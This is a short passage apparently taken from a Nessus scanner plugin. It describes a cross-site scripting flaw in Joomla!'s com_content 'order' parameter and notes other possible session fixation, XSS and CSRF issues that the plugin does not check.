"The version of Joomla! running on the remote host is affected by a
cross-site scripting (XSS) vulnerability in com_content/content.php
due to improper sanitization of user-supplied input to the 'order'
parameter before using it to generate dynamic HTML content. An
unauthenticated, remote attacker can exploit this to inject arbitrary
HTML and script code into the user's browser session. 

Note that this version of Joomla! may be affected by a session
fixation vulnerability in the administrator application as well as
several other cross-site scripting and cross-site request forgery
vulnerabilities; however, Nessus has not checked for these.");
